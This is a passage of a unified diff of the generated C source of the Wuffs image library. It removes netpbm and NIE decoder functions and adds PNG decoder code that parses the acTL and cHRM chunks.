+-wuffs_netpbm__decoder__do_decode_frame( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++wuffs_png__decoder__decode_actl( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_actl; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_netpbm__decoder__do_decode_frame_config(self, NULL, a_src); +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ if (self->private_impl.f_chunk_length != 8u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } else if (self->private_impl.f_interlace_pass > 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ goto exit; + } +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y = 0u; +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette(a_dst), +- wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), +- wuffs_base__utility__empty_slice_u8(), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; ++ self->private_impl.f_chunk_length = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_actl.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_actl.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } + } +- goto ok; ++ self->private_impl.f_num_animation_frames_value = t_0; + } +- while (true) { +- v_status = wuffs_netpbm__decoder__swizzle(self, a_dst, a_src); +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } else if (v_status.repr != wuffs_netpbm__note__internal_note_short_read) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; ++ if (self->private_impl.f_num_animation_frames_value == 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_actl.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_actl.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); + } +- goto ok; + } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ self->private_impl.f_num_animation_loops_value = t_1; + } +- self->private_impl.f_call_sequence = 96u; + ++ goto ok; + ok: +- self->private_impl.p_do_decode_frame[0] = 0; ++ self->private_impl.p_decode_actl = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_actl = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ + return status; + } + +-// -------- func netpbm.decoder.swizzle ++// -------- func png.decoder.decode_chrm + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_netpbm__decoder__swizzle( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, ++wuffs_png__decoder__decode_chrm( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- uint32_t v_src_bytes_per_pixel = 0; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_j = 0; +- uint64_t v_n = 0; ++ uint64_t v_u = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -50526,543 +63769,337 @@ wuffs_netpbm__decoder__swizzle( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- while (true) { +- if (self->private_impl.f_dst_x == self->private_impl.f_width) { +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += 1u; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- break; +- } +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); ++ uint32_t coro_susp_point = self->private_impl.p_decode_chrm; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_chunk_length != 32u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i >= ((uint64_t)(v_dst.len))) { +- v_src_bytes_per_pixel = 1u; +- if (self->private_impl.f_pixfmt == 2684356744u) { +- v_src_bytes_per_pixel = 3u; +- } +- v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); +- v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); +- v_j = v_n; +- while (v_j >= 8u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 8u); ++ self->private_impl.f_chunk_length = 0u; ++ self->private_impl.f_metadata_flavor = 5u; ++ self->private_impl.f_metadata_fourcc = 1128813133u; ++ self->private_impl.f_metadata_x = 0u; ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); + } +- v_j -= 8u; + } +- while (v_j > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { +- iop_a_src += (v_src_bytes_per_pixel * 1u); ++ v_u = t_0; ++ } ++ self->private_impl.f_metadata_x |= ((16777215u & v_u) << 0u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint64_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 24) { ++ t_1 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); + } +- v_j -= 1u; + } +- } else { +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( +- &self->private_impl.f_swizzler, +- wuffs_base__slice_u8__subslice_i(v_dst, v_i), +- wuffs_base__pixel_buffer__palette(a_dst), +- &iop_a_src, +- io2_a_src); +- } +- if (v_n == 0u) { +- status = wuffs_base__make_status(wuffs_netpbm__note__internal_note_short_read); +- goto ok; ++ v_u = t_1; + } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- } +- status = wuffs_base__make_status(NULL); +- goto ok; +- +- ok: +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func netpbm.decoder.frame_dirty_rect +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_netpbm__decoder__frame_dirty_rect( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- +- return wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height); +-} +- +-// -------- func netpbm.decoder.num_animation_loops +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_netpbm__decoder__num_animation_loops( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func netpbm.decoder.num_decoded_frame_configs +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__num_decoded_frame_configs( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- if (self->private_impl.f_call_sequence > 32u) { +- return 1u; +- } +- return 0u; +-} +- +-// -------- func netpbm.decoder.num_decoded_frames +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__num_decoded_frames( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- if (self->private_impl.f_call_sequence > 64u) { +- return 1u; +- } +- return 0u; +-} +- +-// -------- func netpbm.decoder.restart_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__restart_frame( +- wuffs_netpbm__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } +- if ((a_index != 0u) || (a_io_position != self->private_impl.f_frame_config_io_position)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- self->private_impl.f_call_sequence = 40u; +- return wuffs_base__make_status(NULL); +-} +- +-// -------- func netpbm.decoder.set_report_metadata +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_netpbm__decoder__set_report_metadata( +- wuffs_netpbm__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func netpbm.decoder.tell_me_more +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__tell_me_more( +- wuffs_netpbm__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; +- +- goto ok; +- ok: +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} +- +-// -------- func netpbm.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__history_retain_length( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func netpbm.decoder.workbuf_len +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_netpbm__decoder__workbuf_len( +- const wuffs_netpbm__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_nie__error__bad_header[] = "#nie: bad header"; +-const char wuffs_nie__error__truncated_input[] = "#nie: truncated input"; +-const char wuffs_nie__error__unsupported_nie_file[] = "#nie: unsupported NIE file"; +-const char wuffs_nie__note__internal_note_short_read[] = "@nie: internal note: short read"; +- +-// ---------------- Private Consts +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_nie__decoder__do_decode_image_config( +- wuffs_nie__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_nie__decoder__do_decode_frame_config( +- wuffs_nie__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_nie__decoder__do_decode_frame( +- wuffs_nie__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_nie__decoder__swizzle( +- wuffs_nie__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-// ---------------- VTables +- +-const wuffs_base__image_decoder__func_ptrs +-wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_nie__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_nie__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_nie__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_nie__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_nie__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_nie__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_nie__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_nie__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_nie__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_nie__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_nie__decoder__initialize( +- wuffs_nie__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } +- +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ self->private_impl.f_metadata_x |= ((16777215u & v_u) << 24u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint64_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); ++ if (num_bits_2 == 24) { ++ t_2 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)); ++ } ++ } ++ v_u = t_2; + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ self->private_impl.f_metadata_x |= ((uint64_t)((16777215u & v_u) << 48u)); ++ self->private_impl.f_metadata_y |= ((16777215u & v_u) >> 16u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint64_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); ++ if (num_bits_3 == 24) { ++ t_3 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)); ++ } ++ } ++ v_u = t_3; + } +- } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_nie__decoder* +-wuffs_nie__decoder__alloc(void) { +- wuffs_nie__decoder* x = +- (wuffs_nie__decoder*)(calloc(sizeof(wuffs_nie__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_nie__decoder__initialize( +- x, sizeof(wuffs_nie__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} +- +-size_t +-sizeof__wuffs_nie__decoder(void) { +- return sizeof(wuffs_nie__decoder); +-} +- +-// ---------------- Function Implementations +- +-// -------- func nie.decoder.get_quirk ++ self->private_impl.f_metadata_y |= ((16777215u & v_u) << 8u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ uint64_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_4 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ if (num_bits_4 == 24) { ++ t_4 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)); ++ } ++ } ++ v_u = t_4; ++ } ++ self->private_impl.f_metadata_y |= ((16777215u & v_u) << 32u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ uint64_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_5 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_chrm.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); ++ if (num_bits_5 == 24) { ++ t_5 = ((uint64_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)); ++ } ++ } ++ v_u = t_5; ++ } ++ self->private_impl.f_metadata_y |= ((uint64_t)((16777215u & v_u) << 56u)); ++ self->private_impl.f_metadata_z |= ((16777215u & v_u) >> 8u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ uint64_t t_6; ++ if 